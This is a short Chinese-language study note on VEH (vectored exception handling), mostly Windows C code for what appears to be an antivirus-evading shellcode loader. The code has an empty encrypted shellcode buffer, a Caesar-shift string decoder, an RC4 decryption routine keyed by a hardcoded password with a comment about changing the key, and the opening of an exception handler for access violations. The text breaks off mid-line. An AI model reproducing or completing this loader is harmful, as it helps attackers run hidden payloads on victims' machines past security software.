记录一下VEH学习

#include <windows.h>

DWORD test = NULL;
DWORD oldflag = NULL;
LPVOID ShellAddr = NULL;
DWORD Protect = 0x01;

LOGFONTA lf;
HDC dc;

typedef PVOID(NTAPI* FnAddVectoredExceptionHandler)(ULONG, _EXCEPTION_POINTERS*);
FnAddVectoredExceptionHandler MyAddVectoredExceptionHandler;

unsigned char en_bin[] = {
   
};
DWORD len = 893;

char* decrypt(const char* string, short shift) {
   
    size_t len = strlen(string);
    unsigned short i;
    char* dec = NULL;
    dec = (char*)calloc(len + 1, sizeof(char));

    for (i = 0; i < len; i++) {
   
        char c = string[i];
        int c_int = (int)c;

        if (!isalpha(c_int)) {
   
            dec[i] = string[i];
            continue;
        }

        if (isupper(c_int)) {
   
            dec[i] = (((c_int - 'A') + shift) % 26) + 'A';
            if (dec[i] < 'A') {
   
                dec[i] = 'Z' + 1 - ('A' - dec[i]);
            }
        }
        else {
   
            dec[i] = (((c_int - 'a') + shift) % 26) + 'a';
            if (dec[i] < 'a') {
   
                dec[i] = 'z' + 1 - ('a' - dec[i]);
            }
        }
    }
    return dec;
}

BOOL DecryptShellcode()
{
   
    BOOL bSuccess = TRUE;

    HCRYPTKEY hCryptoKey;
    HCRYPTHASH hCryptHash;
    HCRYPTPROV hCryptoProv;

    DWORD dwLen = 10;
    bSuccess = CryptAcquireContextW(&hCryptoProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    if (!bSuccess)
    {
   
        goto CLEANUP;
    }

    bSuccess = CryptCreateHash(hCryptoProv, ((4 << 13 | (0) | 12)), 0, 0, &hCryptHash);
    if (!bSuccess)
    {
   
        goto CLEANUP;
    }

    bSuccess = CryptHashData(hCryptHash,(BYTE *)"qwe123qaz?", dwLen, 0);//修改你的密钥
    if (!bSuccess)
    {
   
        goto CLEANUP;
    }

    bSuccess = CryptDeriveKey(hCryptoProv, CALG_RC4, hCryptHash, 0, &hCryptoKey);
    if (!bSuccess)
    {
   
        goto CLEANUP;
    }

    bSuccess = CryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE *)en_bin, &len);
    if (!bSuccess)
    {
   
        goto CLEANUP;
    }

    goto CLEANUP;

CLEANUP:
    CryptReleaseContext(hCryptoProv, 0);
    CryptDestroyKey(hCryptoKey);
    CryptDestroyHash(hCryptHash);

    return bSuccess;
}

LONG NTAPI VEH(PEXCEPTION_POINTERS pExcepInfo)
{
   

	if (pExcepInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION